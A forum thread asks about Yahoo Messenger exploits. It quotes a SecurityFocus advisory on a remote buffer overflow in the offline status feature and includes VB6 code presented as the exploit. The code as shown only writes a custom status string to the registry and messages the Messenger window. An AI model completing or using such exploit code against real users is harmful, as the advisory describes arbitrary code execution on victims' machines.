Yahoo Messenger Exploits? - Does anyone know of any exploits in YMSG

free web hosting
Free Web Hosting > Computers & Tech > Security issues & Exploits

Yahoo Messenger Exploits? - Does anyone know of any exploits in YMSG

tansqrx
Here's the question. Do you know of any exploits in Yahoo Messenger? The reason that I am asking is I have done quite a bit of research into the security of Messenger over the last 6 months. Actually the reason that I am trying to get web space is to publish some of my findings. I have mapped many of the Yahoo protocol packets and researched several common booters. Once I have the space I will dish out all the details. Do I have any similar Yahoo Messenger enthusiasts around that might be willing to discuss Messenger security?

Reply

saxsux
I don't use Yahoo Messenger much, Google offer a much better alternative - Hello! www.hello.com

Reply

tansqrx
Google? I'm talking about Yahoo Messenger not the search engine.

Reply

tansqrx
Looks like I may have dug up something on my own. I searched the Full Disclosure Mailing list and found an entry at Security Focus.

Yahoo! Messenger Offline Mode Status Remote Buffer Overflow Vulnerability
http://www.securityfocus.com/bid/12750

QUOTE
It has been reported that a remote buffer overflow vulnerability affects Yahoo! Messenger. This issue is due to a failure of the application to securely copy user-supplied input into finite process buffers.

It is likely that the attacker must be in the contact list of an unsuspecting user to exploit this issue. It should be noted that the details surrounding this issue are not clear; this BID will be updated as more details are released.

An attacker may leverage this issue to execute arbitrary code in the context of an unsuspecting user running a vulnerable version of the affected application.


QUOTE
bugtraq id 12750
object 
class Boundary Condition Error
cve CVE-MAP-NOMATCH

remote Yes
local No
published Mar 08, 2005
updated Mar 08, 2005
vulnerable Yahoo! Messenger 4.0
  - Microsoft Windows 2000 Professional
  - Microsoft Windows 2000 Professional SP1
  - Microsoft Windows 2000 Professional SP2
  - Microsoft Windows 95
  - Microsoft Windows 98
  - Microsoft Windows ME
  - Microsoft Windows NT Workstation 4.0
  - Microsoft Windows NT Workstation 4.0 SP1
  - Microsoft Windows NT Workstation 4.0 SP2
  - Microsoft Windows NT Workstation 4.0 SP3
  - Microsoft Windows NT Workstation 4.0 SP4
  - Microsoft Windows NT Workstation 4.0 SP5
  - Microsoft Windows NT Workstation 4.0 SP6
  - Microsoft Windows NT Workstation 4.0 SP6a
  - Microsoft Windows XP Home
Yahoo! Messenger 5.0 .1232
Yahoo! Messenger 5.0 .1065
Yahoo! Messenger 5.0 .1046
Yahoo! Messenger 5.0
  - Microsoft Windows 2000 Professional
  - Microsoft Windows 2000 Professional SP1
  - Microsoft Windows 2000 Professional SP2
  - Microsoft Windows 95
  - Microsoft Windows 98
  - Microsoft Windows ME
  - Microsoft Windows NT Workstation 4.0
  - Microsoft Windows NT Workstation 4.0 SP1
  - Microsoft Windows NT Workstation 4.0 SP2
  - Microsoft Windows NT Workstation 4.0 SP3
  - Microsoft Windows NT Workstation 4.0 SP4
  - Microsoft Windows NT Workstation 4.0 SP5
  - Microsoft Windows NT Workstation 4.0 SP6a
  - Microsoft Windows XP Home
Yahoo! Messenger 5.5 .1249
Yahoo! Messenger 5.5
Yahoo! Messenger 5.6 .0.1358
Yahoo! Messenger 5.6 .0.1356
Yahoo! Messenger 5.6 .0.1355
Yahoo! Messenger 5.6 .0.1351
Yahoo! Messenger 5.6 .0.1347
Yahoo! Messenger 5.6
Yahoo! Messenger 6.0 .0.1921
Yahoo! Messenger 6.0 .0.1750
Yahoo! Messenger 6.0 .0.1643
Yahoo! Messenger 6.0

not vulnerable


Does anyone have additional info on this exploit? Is it still valid?

 

 

 


Reply

tansqrx
This is a quick reply but I have some code questions. After downloading the exploit code from Security Focus I am left with more questions than answers. Below is the code snipet. I know that most expolits are published with lines missing or something important changed to keep the script kiddies from using the exploit. My problems is that this is VB 6 code and I am out of my element on this one. Could someone look at the code and see if it makes sence to them.

CODE
Public Declare Function EnableWindow Lib "user32" (ByVal hwnd As Long, ByVal fEnable As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function SendMessageLong& Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long)
Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function PlaySoundData Lib "winmm.dll" Alias "PlaySoundA" (lpData As Any, ByVal hModule As Long, ByVal dwFlags As Long) As Long
Public Declare Function ReleaseCapture Lib "user32" () As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long
Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function MoveWindow Lib "user32" (ByVal hwnd As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal bRepaint As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hwnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Sub CopyMemory Lib "Kernel32" Alias "RtlMoveMemory" (pDest As Any, pSrc As Any, ByVal ByteLen As Long)
Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long
Public Const BM_SETCHECK = &HF1
Public Const BM_GETCHECK = &HF0
Public Const CB_GETCOUNT = &H146
Public Const CB_GETLBTEXT = &H148
Public Const CB_SETCURSEL = &H14E
Public Const GW_HWNDFIRST = 0
Public Const GW_HWNDNEXT = 2
Public Const GW_CHILD = 5
Public Const LB_GETCOUNT = &H18B
Public Const LB_GETTEXT = &H189
Public Const LB_SETCURSEL = &H186
Public Const SW_HIDE = 0
Public Const SW_MAXIMIZE = 3
Public Const SW_MINIMIZE = 6
Public Const SW_NORMAL = 1
Public Const SW_SHOW = 5
Public Const VK_SPACE = &H20
Public Const WM_CHAR = &H102
Public Const WM_CLOSE = &H10
Public Const WM_COMMAND = &H111
Public Const WM_GETTEXT = &HD
Public Const WM_GETTEXTLENGTH = &HE
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_LBUTTONDBLCLK = &H203
Public Const WM_LBUTTONDOWN = &H201
Public Const WM_LBUTTONUP = &H202
Public Const WM_MOVE = &HF012
Public Const WM_RBUTTONDOWN = &H204
Public Const WM_RBUTTONUP = &H205
Public Const WM_SETTEXT = &HC
Public Const WM_SYSCOMMAND = &H112
Const ERROR_SUCCESS = 0&
Const REG_SZ = 1
Const REG_DWORD = 4
Public Enum HKeyTypes
HKEY_CLASSES_ROOT = &H80000000
HKEY_CURRENT_USER = &H80000001
HKEY_LOCAL_MACHINE = &H80000002
HKEY_USERS = &H80000003
HKEY_PERFORMANCE_DATA = &H80000004
End Enum

Sub YStatus(Status As String)
Dim Name As String
Name = GetString(HKEY_CURRENT_USER, "Software\Yahoo\Pager", "Yahoo! user id")
Call SaveString(HKEY_CURRENT_USER, "Software\Yahoo\Pager\profiles\" + Name + "\Custom Msgs", 1, Status)
Dim X As Long
On Error Resume Next
X = FindWindow("YahooBuddyMain", vbNullString)
SendMessageLong X, &H111, 388, 1&
End Sub

Sub YCap(cap As String)
Dim yahoobuddymain As Long
yahoobuddymain = FindWindow("yahoobuddymain", vbNullString)
Call SendMessageByString(yahoobuddymain, WM_SETTEXT, 0&, cap)
End Sub

Public Function GetString(hKey As HKeyTypes, strPath As String, strValue As String)
Dim keyhand As Long
Dim datatype As Long
Dim lResult As Long
Dim strBuf As String
Dim lDataBufSize As Long
Dim intZeroPos As Integer
Dim lValueType As Long
r = RegOpenKey(hKey, strPath, keyhand)
lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)
If lValueType = REG_SZ Then
strBuf = String(lDataBufSize, " ")
lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)
If lResult = ERROR_SUCCESS Then
intZeroPos = InStr(strBuf, Chr$(0))
If intZeroPos > 0 Then
GetString = Left$(strBuf, intZeroPos - 1)
Else
GetString = strBuf
End If
End If
End If
End Function

Public Sub SaveString(hKey As HKeyTypes, strPath As String, strValue As String, strData As String)
Dim keyhand As Long
Dim r As Long
r = RegCreateKey(hKey, strPath, keyhand)
r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strData, Len(strData))
r = RegCloseKey(keyhand)
End Sub

Reply


Got an Opinion! Express your Views! (no registration):-
Add your Reply/ Opinion/ Views/ Comments/ Suggestion/ Questions/ Queries etc.
Posts with decent grammar & English will be accepted and please refrain from profanities.
For asking a Question, We recommend you to sign-up (for free) so that you can track the topic easily.

Nature of your Post*: Opinion/ Reply/ Comments
Question/Query
Feedback to us.
       
Name   Email
Title/Question*

Recent Queries:-
  1. advapi32.regcreatekeya buffer overflow - 8.78 hr back. (1)
  2. exploits for yahoo messenger - 26.15 hr back. (1)
  3. free yahoo exploit - 30.10 hr back. (1)
  4. yahoo!messenger 4.0 - 31.45 hr back. (1)
  5. yahoo massenger of linux 4.0 - 42.53 hr back. (1)
  6. webcam exploit - 66.24 hr back. (1)
  7. how setup yahoo messenger webcam for window nt workstation - 139.05 hr back. (1)
  8. free yahoo id exploits - 159.04 hr back. (1)
  9. "advapi32.regcreatekeya" virus - 159.32 hr back. (1)
  10. yahoo profiles exploit - 198.89 hr back. (1)
  11. ymsg 13 dll - 241.75 hr back. (1)
  12. exploits yahoo - 283.87 hr back. (1)
  13. yahoo recent exploits - 319.30 hr back. (1)
  14. ymsg exploits - 368.62 hr back. (1)
Similar Topics

Keywords : yahoo, messenger, exploits, exploits, ymsg

  1. Critical Bug In Yahoo! Messenger Webcam Activex
    (3)
  2. Yahoo! Messenger Unspecified Activex Buffer Overflow
    (1)
    CNET is reporting that a new Yahoo! Messenger Exploit has been found. The story
    (http://news.com.com/2100-1002_3-6144110.html?part=rss&tag=2547-1_3-0-5&subj=news) states that all
    versions prior to November 2, 2006 are affected and by downloading the latest version (8.1) you will
    be protected. The bug was apparently first reported to Secunia
    (http://secunia.com/advisories/23401/). No details or exploit code has been published. No my
    question, which ActiveX control does this affect and does anyone of the juicy detail of this one?
    Additional links can be found at http....
  3. Yahoo Group Worm
    Worm infecting Yahoo Group users through attachment. (7)
    Those of you who use Yahoo Groups may or may not have already heard this, but about three days ago,
    I received an update from one of the groups I am a member of. Inside this notice I found two "New
    Graphic Site" messages and one "Virus Warning". The previous two came with attachments. Luckily, I
    read the virus warning first before opening them. In the virus warning was this piece of advice:
    QUOTE Just a quick warning to members about a virus that is sweeping Yahoo groups. It contains a
    number of attachments and the subject line reads "New Graphic Site". Don....
  4. AOL Instant Messenger Chain Virus
    Has anyone else been hit by this? (12)
    yesterday, i was chatting with a friend and she sent me a link to what looked like a photo file...
    when i opened it, it turned out to be a virus... which in turn, automatically messaged all the
    people online on my buddy list the link and then closed all chat windows..... does anyone know what
    this is? and if so, how do i fix it?....
  5. Elm And Mplayer Exploits!
    for Linux (0)
    There is aa report that some flaws were found today for MPlayer and Elm.
    http://www.techworld.com/security/news/index.cfm?newsid=4283 xboxrulz....
  6. Msn Messenger Digital Signature
    GAAHHH! (3)
    When I play MSN Messenger's games, an alert pops up saying: QUOTE Windows has found a
    problem with this file. Name: MessengerStatsClient.cab31267.cab Publisher: Unknown Publisher
    So I went to check the Digital Signature Information, and it said its Signing Time was Thursday, May
    29, 2003 5:56:23 PM. Then I read the Certificate, which was issued by Microsoft Code Signing PCA and
    Valid from Thursday, June 27, 2002 6:14:39 PM to Saturday, December 27, 2003 6:24:39 PM. After I
    click OK to close the alert, the game says QUOTE Messenger games require ActiveX....
  7. New Virus Alert!
    Especially for those MSN messenger users (13)
    Watch out MSN users! There is a new virus... Maybe its old... But once it get into your computer, it
    automatically sends a copy of the virus to all your contacts via MSN messenger... I almost got hit
    by one, but norton stopped it! There are many different names it is hiding under... My friend's
    computer sent me "The cat and the fan" It sented another copy to my other friend... She got "The
    frog and the fish" There are many combinations... So be careful! Sorry to double post, but I found
    yet another one... "Mona Lisa wants her smile back" Its another virus! --------....

    1. Looking for yahoo, messenger, exploits, exploits, ymsg






*SIMILAR VIDEOS*
Searching Video's for yahoo, messenger, exploits, exploits, ymsg
advertisement




Yahoo Messenger Exploits? - Does anyone know of any exploits in YMSG